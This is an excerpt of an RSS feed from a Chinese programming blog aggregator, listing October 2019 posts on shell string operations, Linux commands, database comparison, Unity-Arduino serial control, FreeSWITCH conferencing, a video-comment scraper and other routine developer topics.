      <description>shell脚本中进行字符删除操作 使用 # 和 % 进行匹配删除，具体的# 和 % 的总结如下：&#xA;${变量#匹配规则} # 从头开始匹配，最短删除 ${变量##匹配规则} # 从头开始匹配，最长删除 ${变量%匹配规则} # 从尾部开始匹配，最短删除 ${变量%%匹配规则} # 从尾部开始匹配，最长删除 ${变量/旧字符串/新字符串} # 替换变量内的旧字符串为新字符串，只替换第一个 ${变量//旧字符串/新字符串} # 替换变量内的旧字符串为新字符串，全部替换 下面举几个例子进行说明&#xA;1.关于#的替换规则&#xA;~$ vari_1=&#34;I love you,Do you love me&#34; ~$ echo $vari_1 I love you,Do you love me # 只有一个#的时候 匹配到第一个 ov 之后就停下来了 ~$ var1=${vari_1#*ov} ~$ echo $var1 e you,Do you love me # 匹配到第一个 ov停下 #配到最后一个ov 最后一个ov之前的全部删除 ~$ var1=${vari_1##*ov} ~$ echo $var1 e me 2.</description>
    </item>
    <item>
      <title>Linux常用命令大全（详细）</title>
      <link>https://bchobby.github.io/posts/a712211cd12fb12ebec623cdb70e3533/</link>
      <pubDate>Tue, 22 Oct 2019 16:03:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a712211cd12fb12ebec623cdb70e3533/</guid>
      <description>由于最近刚接触linux，对于一些命令不是很好记，故在网上找了一份非常详细的Linux命令大全，方便日后查看学习&#xA;系统信息 arch 显示机器的处理器架构&#xA;uname -m 显示机器的处理器架构&#xA;uname -r 显示正在使用的内核版本 dmidecode -q 显示硬件系统部件 - (SMBIOS / DMI) hdparm -i /dev/hda 罗列一个磁盘的架构特性 hdparm -tT /dev/sda 在磁盘上执行测试性读取操作 cat /proc/cpuinfo 显示CPU info的信息 cat /proc/interrupts 显示中断 cat /proc/meminfo 校验内存使用 cat /proc/swaps 显示哪些swap被使用 cat /proc/version 显示内核的版本 cat /proc/net/dev 显示网络适配器及统计 cat /proc/mounts 显示已加载的文件系统 lspci -tv 罗列 PCI 设备 lsusb -tv 显示 USB 设备 date 显示系统日期 cal 2007 显示2007年的日历表 date 041217002007.00 设置日期和时间 - 月日时分年.秒 clock -w 将时间修改保存到 BIOS 关机 (系统的关机、重启以及登出 ) shutdown -h now 关闭系统</description>
    </item>
    <item>
      <title>超分辨之----DRCN论文理解</title>
      <link>https://bchobby.github.io/posts/bf798a8f17176e15b1cebebfc6eea6dc/</link>
      <pubDate>Tue, 22 Oct 2019 14:33:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf798a8f17176e15b1cebebfc6eea6dc/</guid>
      <description>深度递归网络&#xA;Abstract 16层递归网络，不用引入其他参数，就增加递归层数就可以。&#xA;我们提出了两个扩展：递归监督和跳过连接。recursive-supervision and skip-connection.&#xA;1. Introduction （是介绍遇到的问题，我们的方法）&#xA;接受域 41*41。&#xA;发现用随机梯度下降法不容易收敛，会导致梯度爆炸。&#xA;我们提出两种方法来缓解困难&#xA;1.对所有递归进行监督。每次递归后的特征图用于重建&#xA;目标高分辨率图像（HR）。 重建方法（专用于重建的层）对于所有递归都是相同的。 由于每次递归都会导致不同的HR预测，我们结合了不同水平的预测结果递归以提供更准确的最终预测。 （下一次递归的输入是上一个的输出么？损失函数怎么计算？）&#xA;2.使用从输入到重建层的跳跃连接。 在SR中，低分辨率图像（输入）和高分辨率图像（输出）共享相同的图像信息在。 但是，在许多前向传递中，输入的精确可能会被削弱。我们将输入显式连接到层来进行输出重建。&#xA;2.Related work 不用看&#xA;深的递归网络可以增加表现。&#xA;到目前45min&#xA;5. Conclusion 重复使用权重。&#xA;3. Proposed Method embedding传进去。传出特征向量。&#xA;用于将信息传递到推理网络的中间表示形式，在很大程度上取决于推理网络在内部如何在其隐藏层中表示其特征图。 学习此表示形式与学习其他子网是端到端的。&#xA;Inference ：主要部分，解决了sr&#xA;（27mins）&#xA;有隐藏层。用RELU&#xA;还存在一个问题找到最佳的递归次数很难。&#xA;不最佳的话会出现梯度消失和梯度爆炸。&#xA;递归监督为了解决梯度和最优递归问题。&#xA;4 training B100 consists of natural images&#xA;in the Berkeley Segmentation Dataset&#xA;91 images proposed in Yang et al&#xA;Dataset B100 consists of natural images&#xA;in the Berkeley Segmentation Dataset [20]</description>
    </item>
    <item>
      <title>深度对比Oracle与SQL Server</title>
      <link>https://bchobby.github.io/posts/a35bb6814e2243a675eb3801add18e71/</link>
      <pubDate>Tue, 22 Oct 2019 13:44:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a35bb6814e2243a675eb3801add18e71/</guid>
      <description>本译文采用知识共享署名-非商业性使用-相同方式共享 3.0 Unported许可协议发布，转载请保留此信息&#xA;译者：马齿苋 | 链接：http://www.dbabeta.com/2010/oracle-sql-server-comparison-i.html&#xA;作者：Sadequl Hussain | 原文：http://www.sql-server-performance.com/articles/dba/oracle_sql_server_comparison_p1.aspx&#xA;一般的公司通常会在他们的信息系统架构中引入多种数据库平台，同时引入三到四种不同的RDBMS解决方案的中大型公司也并不少见，当然这些公司里面的DBA们通常也需要同时拥有管理多种不同平台的技能了。&#xA;只在一种平台上展开工作的数据库专家们也通常会期待着在他们的下一份工作中能学到点不一样的东西，那些有勇气的人们则愿意花时间、金钱和精力去学习新的东西，也有其他因为换了新公司或者是为了找新的工作而去学习新的系统的人们，毋庸置疑的一点就是公司老板和人力专家们会更加青睐于那些拥有多个领域经验的求职者。&#xA;依我个人的经验来看，在学习一个新的数据平台的时候，最好的方法就是在新的环境中去发现那些你已知的东西，这样学习起来会简单很多。当然，当中也会遇到一些全新的概念需要去学习，或者是忘掉一些你现在已知的概念，但不管怎么说你不是从零开始的。比如说一个做SQL Server开发人员在要写Oracle存储过程的时候可能会先去找那些内置的函数然后比较它们之间不同点，她也可能会去比较变量声明以及错误处理的异同。&#xA;本系列文章中我将尝试对Microsoft SQL Server和Oracle RDBMS(以10g及以后的版本为主)进行一个深入的比较。我会主要集中于这两种数据库之间架构上的比较，当然不要期望我会给你一个详尽的比较清单，但是我会尽我所能的让你看清这两种当今世上应用最广的数据库之间的相同和相异之处。本文是以一个SQL Server DBA的角度去构思和写作的，不过相信这对Oracle专家门了解SQL Server这一面也是很有参考价值的。&#xA;废话少说，开工吧。&#xA;top操作系统的支持&#xA;Microsoft SQL Server向来都从属于Windows大家族中的一员，要让Microsoft发布一个支持其它操作系统版本的可能性当然是小之又小的了。当前来说 SQL Server可以在XP、Vista、Windows Server 2000、2003、2008上运行，同时也有针对于32位和64位版本Windows的数据库版本。&#xA;对Oracle来说，它支持多种不同的操作系统平台，包括Windows（32位和64位），另外还有支持Linux和不同分支的 Unix（Solaris、HP-UX、AIX等等）&#xA;top版本和发行版&#xA;在本写作时，Microsoft数据库产品的最新版本是SQL Server 2008，即将推出的下一版本是SQL Server 2008 R2，现在已经在CTP阶段了，它的上一个版本，SQL Server 2005，相对于再之前的SQL Server 2000的一个大升级。不过对很多公司来说SQL Server 2005还是有点新，因为他们现在还是在大量的使用着SQL Server 2000.&#xA;另一方面Oracle一路走来最新版本已经到了11gR2了，现在主流应用的版本10gR2已经发行有一段时间，已经是公认的领头羊了。 Oracle在10g中第一次提出“网格计算”的概念。当然现在还有公司依然在依赖于Oracle 9i处理业务。&#xA;说到发行版，SQL Server 2008 R2现在提供下面这么些版本：&#xA;企业版&#xA;企业版包含所有的高级特性，适用于大规模、高容量的数据库需求。&#xA;标准版&#xA;标准版为那些不需要包含企业版高级特性的公司提供了一个相对便宜的数据库平台，大部分公司使用的都是标准版的数据库。&#xA;工作组版&#xA;工作组版适用于小的部门级别的应用。&#xA;Web版&#xA;这个适用于作为Web应用的低成本的后台解决方案。&#xA;Express版&#xA;这是一个很小的内嵌式的SQL Server引擎，通常用于本地数据存储或是小规模的系统开发。Express版可以免费下载并且自由分发。&#xA;Compact版&#xA;Compact版可以让用户开发Windows桌面或者是手持设备的应用。&#xA;开发版&#xA;所有企业版所拥有的功能开发版都有，不过它仅仅授权单个用户访问，主要用于开发或是测试目的。</description>
    </item>
    <item>
      <title>Unity操控Arduino板接舵机旋转</title>
      <link>https://bchobby.github.io/posts/32f20ed331ba05704e65e5164e3e72a7/</link>
      <pubDate>Tue, 22 Oct 2019 09:31:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32f20ed331ba05704e65e5164e3e72a7/</guid>
      <description>跟上篇文章差不多 也是串口通讯 只是这次在arduino端加了一个舵机，pc端向arduino传输一个角度&#xA;pc端代码（打开端口以及new一个接收数据的线程）ps:接收数据可以不要 因为我们这里不用接收返回数据 //设置串口，波特率 sp = new SerialPort(&#34;COM4&#34;, 9600); sp.Encoding = Encoding.ASCII; sp.ReadTimeout = 2000; sp.WriteTimeout = 2000; //sp.Encoding = ASCIIEncoding.ASCII; try { if (!sp.IsOpen) { sp.Open(); } } catch (Exception err) { Debug.Log(err); } print(&#34;端口打开&#34;); wenben.text=&#34;端口打开&#34;; //tPort = new Thread(DealData); //tPort.Start(); tPortDeal = new Thread(ReceiveData); tPortDeal.IsBackground = true; pc端（发送数据） /// &amp;lt;summary&amp;gt; /// 向陀机发送旋转数据 /// &amp;lt;/summary&amp;gt; void SendRotaData() { if (sp.IsOpen) { Thread.Sleep(200); string data=&#34;&#34;; //RotaY是我在unity里建的cube的旋转值Y轴（我的舵机最大只能转180度） if (RotaY &amp;gt; 0 &amp;amp;&amp;amp; RotaY &amp;lt; 180) data= RotaY.</description>
    </item>
    <item>
      <title>2019秦皇岛A - Angle Beats Gym - 102361A（极角排序，多少个直角三角形）</title>
      <link>https://bchobby.github.io/posts/6e743d909d14a0a2bd4a90e937452e35/</link>
      <pubDate>Mon, 21 Oct 2019 23:47:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e743d909d14a0a2bd4a90e937452e35/</guid>
      <description>Given n points P1,P2,⋯,Pn on 2D plane and q queries. In i-th query, a point Ai is given, and you should determine the number of tuples (u,v) that 1≤u&amp;lt;v≤n and Ai,Pu,Pv form a non-degenerate right-angled triangle.&#xA;Input&#xA;The first line contains two positive integers n,q (2≤n≤2000,1≤q≤2000), denoting the number of given points and the number of queries.&#xA;Next n lines each contains two integers xi,yi (|xi|,|yi|≤109), denoting a given point Pi.</description>
    </item>
    <item>
      <title>在windows命令行批量ping局域网内IP</title>
      <link>https://bchobby.github.io/posts/033787b8a894d5e7fc8d0ee81507b1c0/</link>
      <pubDate>Mon, 21 Oct 2019 21:33:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/033787b8a894d5e7fc8d0ee81507b1c0/</guid>
      <description>命令：for /L %i in (1,1,254) do ping -n 1 -w 60 192.168.0.%i | find &#34;回复&#34; &amp;gt;&amp;gt; resultip.txt</description>
    </item>
    <item>
      <title>如何使用正则表达式匹配到第一个符合的字符串就停止</title>
      <link>https://bchobby.github.io/posts/7783e757b44a608d8e44817edfd23271/</link>
      <pubDate>Mon, 21 Oct 2019 15:13:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7783e757b44a608d8e44817edfd23271/</guid>
      <description>使用 ? 字符，正则表达式默认使用贪婪匹配，即尽可能匹配所有符合的，在要匹配的正则后加？可只匹配第一个符合的数字，如 123123 使用 (.) 匹配则group(1)为12323 使用(.?)则会匹配到group(1)-group(6) 内容分别为&#34;1&#34;,“2”,“3”,“4”,“5”,“6”</description>
    </item>
    <item>
      <title>Android Material Design 之 BottomSheetBehavior</title>
      <link>https://bchobby.github.io/posts/158b9fe1781fd4e2b8f78e3a8a9d6e0a/</link>
      <pubDate>Mon, 21 Oct 2019 08:42:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/158b9fe1781fd4e2b8f78e3a8a9d6e0a/</guid>
      <description>https://www.c-sharpcorner.com/article/bottomsheet-layout-in-android/&#xA;This article talks about the creation of BottomSheet overlay in Android and its behavior.&#xA;facebooktwitterlinkedInReddit Expand Download Free .NET &amp;amp; JAVA Files API&#xA;Try Free File Format APIs for Word/Excel/PDF&#xA;Introduction BottomSheetBehavior is a type of behavior in which two or more layouts are placed on one another and the bottom layout performs the scrolling as other layouts expand the overlay and then collapse. This is why it is called BottomSheetBehavior.</description>
    </item>
    <item>
      <title>全面总结 JS 中浮点数运算不准确的原因及解决办法</title>
      <link>https://bchobby.github.io/posts/598d091212895ffc2bcb98c3d4f1eb70/</link>
      <pubDate>Sun, 20 Oct 2019 09:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/598d091212895ffc2bcb98c3d4f1eb70/</guid>
      <description>&#34; 经常会碰到一个问题，&#34;为什么 0.1 + 0.2 !== 0.3? &#34;，我找了很多资料，尽可能全面地分析原因和解决办法。&#xA;&#34; 这里先给出判断方法&#xA;Math.abs(0.1+0.2-0.3) &amp;lt;= Number.EPSILON&#xA;IEEE 754 64 位浮点类型 IEEE 754[1]&#xA;IEEE 754 规定了四种表示浮点数值的方式：单精确度（32 位）、双精确度（64 位）、延伸单精确度（43 比特以上，很少使用）与延伸双精确度（79 比特以上，通常以 80 位实现）。&#xA;该标准的全称为 IEEE 二进制浮点数算术标准（ANSI/IEEE Std 754-1985），又称 IEC 60559:1989，微处理器系统的二进制浮点数算术（本来的编号是 IEC 559:1989）。&#xA;单精度浮点数 单精度浮点数格式是一种数据类型，在计算机存储器中占用 4 个位元（32 bits），利用“浮点”（浮动小数点）的方法，可以表示一个范围很大的数值。&#xA;在 IEEE 754-2008 的定义中，32-bit base 2 格式被正式称为 binary32 格式。这种格式在 IEEE 754-1985 被定义为 single，即单精度。需要注意的是，在更早的一些计算机系统中，也存在着其他 4 字节的浮点数格式。&#xA;定义&#xA;第 1 位表示正负，中间 8 位表示指数，后 23 位储存有效数位（有效数位是 24 位）。&#xA;中间八位共可表示 28=256 个数，指数可以是二补码；或 0 到 255，0 到 126 代表-127 到-1，127 代表零，128-255 代表 1-128。</description>
    </item>
    <item>
      <title>Windows 多网卡并行通信程序设计（C&#43;&#43;）</title>
      <link>https://bchobby.github.io/posts/c517eb3b9dfdeff3965add41368d244c/</link>
      <pubDate>Fri, 18 Oct 2019 22:16:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c517eb3b9dfdeff3965add41368d244c/</guid>
      <description>1.任务要求 在PC上同时插入多个无线USB网卡，利用5个USB网卡并行通信。&#xA;2.实验准备 开发环境：VS2015测试工具：wireshark抓包软件(服务器端)硬件条件：多个USB网卡（系统需具备相应驱动），最好是3个以上 3.项目分析 平常我们的PC都是利用一个网卡来通信（无线或者有线），应用程序也只会绑定一个网卡。但现在是实现多个网卡实现并行的收发数据！当多个无线USB网卡接入电脑，都连接同一个AP，怎么才能让自己的程序绑定接入的USB网卡、并行收发数据呢？&#xA;获取接入PC的USB网卡信息(名称、MAC地址、IP地址等)；创建多线程，一个线程绑定一个网卡，依据网卡上的信息来异步执行任务；最后，Windows Socket编程，与服务器建立TCP、UDP连接，收发数据。 4.实验过程 4.1 PIP_ADAPTER_INFO结构体获取网卡信息 结构体ADAPTER_INFO用于于获取PC上网络适配器的IPv4信息，该结构体通过调用GetAdaptersInfo函数获取值。&#xA;//PIP_ADAPTER_INFO结构体指针存储本机网卡信息 PIP_ADAPTER_INFO pIpAdapterInfo = new IP_ADAPTER_INFO(); //得到结构体大小,用于GetAdaptersInfo参数 unsigned long stSize = sizeof(IP_ADAPTER_INFO); //调用GetAdaptersInfo函数,填充pIpAdapterInfo指针变量;其中stSize参数既是一个输入量也是一个输出量 int nRel = GetAdaptersInfo(pIpAdapterInfo, &amp;amp;stSize); //记录网卡数量 int netCardNum = 0; //记录每张网卡上的IP地址数量 int IPnumPerNetCard = 0; if (ERROR_BUFFER_OVERFLOW == nRel){ //如果函数返回的是ERROR_BUFFER_OVERFLOW //释放原来的内存空间 delete pIpAdapterInfo; //重新申请内存空间用来存储所有网卡信息 pIpAdapterInfo = (PIP_ADAPTER_INFO)new BYTE[stSize]; //再次调用GetAdaptersInfo函数,填充pIpAdapterInfo指针变量 nRel = GetAdaptersInfo(pIpAdapterInfo, &amp;amp;stSize); } if (ERROR_SUCCESS == nRel){ //输出网卡信息 getUSBWirelessAdapter(pIpAdapterInfo, IPnumPerNetCard, netCardNum); } //释放内存空间 if (pIpAdapterInfo){ delete pIpAdapterInfo; } 其中getUSBWirelessAdapter(PIP_ADAPTER_INFO pIpAdapterInfo,int IPnumPerNetCard, int netCardNum)函数用与筛选出所需要的网卡和分配到的IP地址等信息，结果如下图。其中依据USB关键字在程序里筛选出USB无线网卡。</description>
    </item>
    <item>
      <title>Python 已经将module添加到系统路径,但是调用时编译器还是提示no module named XXX</title>
      <link>https://bchobby.github.io/posts/a6380a0d9889f535543c5d05cc3a87de/</link>
      <pubDate>Fri, 18 Oct 2019 21:08:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6380a0d9889f535543c5d05cc3a87de/</guid>
      <description> 最近再用python+unittest框架尝试写脚本,但是在导自定义mudule的时候遇到了一些问题 使用的编译器是 pycharm,很困惑,难道只是将路径加进去就一定会出现这样的提示? (使用vscode也会有一样的提示.) 目录结构如下 代码如下 import sys path = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))#当前文件的绝对路径的上一层路径 pub_path = os.path.join(path,&#34;public&#34;) sys.path.append(pub_path) import mobile_json class UserSearch(unittest.TestCase): def setup(self): pass def test_search(self): pass def tearDown(self): pass if __name__ == &#34;__main__&#34;: unittest.main() 在百度上也没找到合适的答案,大多都是说将 module 用sys.path.append()的方法加入到系统路径中, 这些module只是临时的文件,不想把这些文件直接放到 python目录下的lib文件夹内(忘了是不是这个文件夹), 各位大哥 有没有了解这一方面的,给小弟指导指导问题所在感激不尽... </description>
    </item>
    <item>
      <title>第十三章 会议与WebRTC视频会议</title>
      <link>https://bchobby.github.io/posts/d65d928361c7c1674417d3a604a152d3/</link>
      <pubDate>Fri, 18 Oct 2019 17:15:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d65d928361c7c1674417d3a604a152d3/</guid>
      <description>会议是你希望向用户和客户提供的高级功服务一。在我们处于成本控制和时间限制的夹缝之中时，拥有虚拟会议的能力是一种实打实的好处。&#xA;更重要的是，如果你能够管理会议，有序地为每位演讲者配麦，对每个与会者静音/取消静音，等等。&#xA;当你能够为与会者混合视频流时，你就能够提供更多的特性：屏幕共享、播放视频、录制，同时提供不同人组成的“舞台”画面…这不仅比在一个实际房间里走来走去参加会议更经济，更便捷，而且会更有成效。&#xA;我们还开发了一个WebRTC客户端，充分利用我们的现代VERTO协议，为参与者和主持人提供一个美丽、高效、沉浸式和引人入胜的会议体验！&#xA;FreeSWITCH给出了所有构建块，由于WebRTC的支持，你的会议参与者、主持人和演示者只需要在他们的计算机、平板电脑或智能手机上安装一款标准浏览器就够了。&#xA;这一章，我们将讨论以下主题：&#xA;会议概念，音频和视频FreeSWITCH的会议支持在FreeSWITCH中设置音频会议音频会议操作在FreeSWITCH中设置视频会议视频会议操作视频会议中的Verto通信视频会议的其它技巧 会议概念 会议指的是超过两方参与者的一路话务，它一直是电信领域中最受欢迎的服务之一。&#xA;允许两个以上的参与者同时交谈的技术（例如，不在一键通服务中）与两个参与者的“正常”通话的技术大不相同。在“正常”的通话中，你只关心主叫与被叫间的媒体流交换。事实上，你可以让媒体流(以RTP形式)直接在主叫与被叫间双向流动，而不必经过FreeSWITCH或其它任何中间电信服务器。&#xA;另一方面，会议需要一台服务器。会议服务中的最基本功能是混合，比如说把不同参与者所发送的媒体流合并。因此，每个参与者把他们自身的媒体流发给服务器，而所有参与者收到的媒体流是服务器收到的所有媒体流的“和”。参与者之间不直接通信，而是通过会议服务器作为中心枢纽的“星型拓扑”连接在一起。&#xA;除了基本的“合并所有传入流并发送结果流”功能外，会议服务还可以提供更高级的特性。它们可以接受命令来变更输入流的合并方式：仅合并其中的一些流（或仅广播一个流）；向参与者播放媒体文件；录制会议会话；更改接收或发送的流的特征，请求识别参与者身份的PIN码；把一名或多名与会者视为“主持人”，对其他与会者和会议管理；等等。&#xA;如你所料，FreeSWITCH提供所有这些功能，甚至更多。&#xA;FreeSWITCH的会议支持 从构思的第一阶段起，FreeSWITCH的设计结构就擅长混音功能。它的内核可以高效地揉合各种流。&#xA;Freeswitch内核中的媒体处理引擎非常灵活，并提供钩子，以便内核开发人员和贡献者添加功能，而不会危及系统的稳定性和效率。&#xA;显然，媒体处理有两个主要的领域：音频和视频。音频和视频的处理方式完全不同，因为它们的性质完全不同。&#xA;音频会议 音频流由一系列音频样本组成。每个音频样本本质上是一个数字(一个量值)，代表声音在时间上的演变。声音可以用我们在高中课本上的正弦波来描述，每个样本都是在某一时刻的振幅值。&#xA;混合(合并，组合)两个或更多的声音样本本质上是对它们的数值求和，然后除以我们混合的流的数量(例如:在每个时间点取平均值)。显然，如果之前样本事先经过压缩、编码，情况就完全不是那么简单了。你需要先对体积标准化。但其最简单的概念形式（未压缩、原始、声音样本）是完全相同的。&#xA;视频会议 视频流完全是另一回事！它们是一个复杂的值序列，描述图像（“屏幕”）随时间的变化。假设有一部分辨率为1920x1080像素的流式电影（或网络摄像机源）。这些像素中的每一个或大部分（全部变化的情况比较罕见）都可以在每个时间点改变值（颜色、亮度等）。因此，每个时间点的样本并不代表屏幕上每个像素的值，而是分析哪个像素发生了变化以及如何变化的复杂计算结果。你不能直接把它们相加，这样没有任何意义。&#xA;而且，当您将视频流组合在一起时，您希望得到的结果一般不是它们的混合叠加（例如“透明”过渡效果）。您希望将屏幕划分为多个区域，并在每个定义的区域中显示不同的视频流（缩放）。或者在每个屏幕区域上显示浮动徽标或标题。这更类似于电视脱口秀节目中导演所使用的“视频混音与特效”处理。&#xA;在当今的电信世界中，视频会议（视频流组合）有多种策略，每种策略都有其自身的理由和用例：&#xA;Peer-to-Peer (MESH) ：这是基于纯设备到设备的通信（无服务器），其中每个参与者向所有其他参与者发送和接收视频流。视频流在设备端(比如说浏览器)进行组合。如果必须影响所有设备的显示，那么每个参与者必须向所有其他参与者广播控制命令。这种策略的明显问题是带宽的开销与参与者方数呈指数级增长：三方会议交换6路视频流；四方会议交换12路视频流；10方会议需要交换90路视频流…这种技术在WebRTC服务中很流行，但不适用于超过四个参与者的会议场景。Selective Forwarding Unit (SFU)：它是一种中央服务器，它接收所有参与者的视频流，并决定将哪个流转发给哪个参与者。中央服务器（SFU）不组合流或对其应用效果，它只决定数据包的出入路由。流由终端设备(比如说浏览器)负责组合，一般情况下它们仅是在不同的区域显示不同的流，并没有进一步处理。如果需要在参与者屏幕上组合多个流，那么所有流都需要路由给所有参与者。这对带宽使用和客户端CPU要求非常高，代价可能是非常昂贵的。Multipoint Conferencing Unit (MCU)：它是一种中央服务器，它接收所有参与者的视频流，对它们进行混合、转换和应用特效，然后从处理结果中选择一个流发送给所有参与者。对于带宽和客户端的CPU来说，这种策略的要求可能是最低的(每个客户端向MCU发送它们的视频流，并从MCU接收一路视频流)。但是，它对MCU侧的CPU施加了极大的压力，它必解码所有待混合的流，将复杂的计算机图形应用于标题、徽标、合并和缩放，然后对结果重新编码。FreeSWITCH是一个高级的 MCU(混合视频流和应用效果是一项非常繁重的任务)，在“只有一个参与者发起视频流并显示在所有参与者屏幕上”的极端场景下，它会变成对CPU需求极低的SFU(换句话说，没有视频合成，没有特效，只是向所有与会者路由一路视频流)。 FreeSWITCH中的音频会议设置 Freeswitch包含一个功能强大的内置引擎，它允许在多用户音频会议系统中对呼叫者之间的音频通道进行混音。 mod_conference允许完全控制音频混合和用户交互功能，比如说tone音监测，管理每个通道的的音频收发路径、音量控制、增益控制等等。只要服务器上的资源(内存、CPU等等)允许，你可以创建会议，没有数量的限制。&#xA;mod_conference的配置文件是/usr/local/freeswitch/autoload_configs/conference.conf.xml。会议的特征和行为都由它的profile决定。你可以在配置文件中设定多个profile，每个profile都有其独特的参数集。创建会议时会分配一个profile(通常是在拨号方案中)。会议的配置文件被划分为几个部分，我们接下来会介绍它们。&#xA;profiles 一个会议profile是一组可用于特定会议的设置。与caller-controls(这一节会讨论)结合，会议profiles允许完全定制各个会议的行为。你可以建立几个profiles，并把它们应用到许多会议上；或者为每个打算召开的会议分别建立一个profile；或者干脆简单地使用缺省定义。&#xA;通常的会议profile结构是这样的：&#xA;&amp;lt;profiles&amp;gt; &amp;lt;profile name=&#34;default&#34;&amp;gt; &amp;lt;param name=&#34;paramName&#34; value=&#34;paramValue&#34;/&amp;gt; &amp;lt;/profile&amp;gt; &amp;lt;/profiles&amp;gt; 你可以有任意数量的&amp;lt;profile&amp;gt;标记，每个&amp;lt;profile&amp;gt;标记可以配置任意数量的&amp;lt;param&amp;gt;标记。下面是部分可用参数的解释。如果需要完整的参数列表和扩展说明，请打开我们的在线文档http://freeswitc h.org/confluence，并搜索&#34;mod_conference&#34;。&#xA;rate 这个参数定义会议中采用的缺省(最高)采样率。如果不是使用这个采样率，所有接入这个通道的用户都需要把他们的音频转换为这个采样率。为了混音目的，这定义了系统相关的最低采样率----如果两个用户使用高保真话机接入会议，但会议设置的采样率为8000，那么这些用户的音频采样率也将降到较低的速率。&#xA;参数语法：&amp;lt;param name=&#34;rate&#34; value=&#34;8000&#34;/&amp;gt;&#xA;可选值有：8000、12000、16000、24000、32000, 和 48000&#xA;caller-controls 这个参数定义会议桥所使用的caller-controls profile。&#xA;参数语法：&amp;lt;param name=&#34;caller-controls&#34; value=&#34;default&#34;/&amp;gt;&#xA;auto-record 这个参数定义会议是否需要自动录音。如果与会人数达到min-required-recording-participants要求，会议就开始录音。如果设置了这个选项，那么必须包含一条可写的路径，以便存储会议录音。&#xA;参数语法：&amp;lt;param name=&#34;auto-record&#34; value=&#34;</description>
    </item>
    <item>
      <title>爬取腾讯视频 爬虫 评论 python urllib</title>
      <link>https://bchobby.github.io/posts/06cb53f7d013bc5f24382d44fe4df745/</link>
      <pubDate>Fri, 18 Oct 2019 15:54:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06cb53f7d013bc5f24382d44fe4df745/</guid>
      <description>此文章仅用于笔者交流学习爬虫技术，如有侵权请联系作者删除&#xA;文章目录 通过fiddler找到评论的url分析url找到加载评论信息的规律爬取深度评论代码（不包含子评论） 爬取短评（不包含子评论）构建url爬取短评代码（不包含子评论） 面向对象式编程实现爬虫 通过fiddler找到评论的url fiddler是一个抓包软件，这里用的fiddler4.&#xA;fiddler4官网&#xA;配置好fiddler后，在腾讯视频页面点击查看更多&#xA;返回fiddler发现捕获了数据包，&#xA;找到评论数据包，右键复制url就得到了评论的url&#xA;这里选择的是《权力的游戏第八季》&#xA;eg:&#xA;https://video.coral.qq.com/filmreviewr/c/upcomment/nilk5fd4bkqdk3a? callback=_filmreviewrcupcommentnilk5fd4bkqdk3a &amp;amp;reqnum=3&amp;amp;source=132&amp;amp;commentid=6523204565596297127&amp;amp;_=1571376131656&#xA;https://video.coral.qq.com/filmreviewr/c/upcomment/nilk5fd4bkqdk3a? callback=_filmreviewrcupcommentnilk5fd4bkqdk3a &amp;amp;reqnum=3&amp;amp;source=132&amp;amp;commentid=6534034501152865577&amp;amp;_=1571376131657&#xA;第一页的深度评论：&#xA;https://video.coral.qq.com/filmreviewr/c/upcomment/nilk5fd4bkqdk3a?callback=filmreviewrcupcommentnilk5fd4bkqdk3a&amp;amp;reqnum=3&amp;amp;source=132&amp;amp;=1571378209126&#xA;第二页的深度评论：&#xA;https://video.coral.qq.com/filmreviewr/c/upcomment/nilk5fd4bkqdk3a?callback=filmreviewrcupcommentnilk5fd4bkqdk3a&amp;amp;reqnum=3&amp;amp;source=132&amp;amp;commentid=6529339639861532449&amp;amp;=1571378209129&#xA;第三页：&#xA;https://video.coral.qq.com/filmreviewr/c/upcomment/nilk5fd4bkqdk3a?callback=filmreviewrcupcommentnilk5fd4bkqdk3a&amp;amp;reqnum=3&amp;amp;source=132&amp;amp;commentid=6529032690464222964&amp;amp;=1571378209130&#xA;分析url找到加载评论信息的规律 通过老师提示和尝试发现：&#xA;·callback、source等参数并不重要&#xA;·决定加载对应评论的视频的参数vid&#xA;·对加载评论实现“翻页”的必要参数是commentid=&#xA;·决定单次加载个数的参数是reqnum=&#xA;最后构建的url格式：&#xA;https://video.coral.qq.com/filmreviewr/c/upcomment/ (视频ID) ?&amp;amp;reqnum=3&amp;amp;source=132&amp;amp;commentid= (评论ID) &amp;amp;_=1571376131656&#xA;打开构建的url发现在评论的json文件中有first和last字段，其中前一页评论的last字段刚好是后一页评论url中的commentid参数的值&#xA;可以根据这个实现翻页爬取评论&#xA;爬取深度评论代码（不包含子评论） # encoding = &#34;utf-8&#34; # Author = Joker-Face # Date = 2019年10月18日 import urllib import re # 构造请求头 headers = {&#39;User-Agent&#39;:&#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0&#39;, &#39;Content-Type&#39;:&#39;application/javascript&#39;,} opener = urllib.</description>
    </item>
    <item>
      <title>C# SolidWorks 二次开发 API --- 插件Add-In的自动更新</title>
      <link>https://bchobby.github.io/posts/1c783586b0f9b800ac7dc1c5d66aaace/</link>
      <pubDate>Fri, 18 Oct 2019 13:20:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c783586b0f9b800ac7dc1c5d66aaace/</guid>
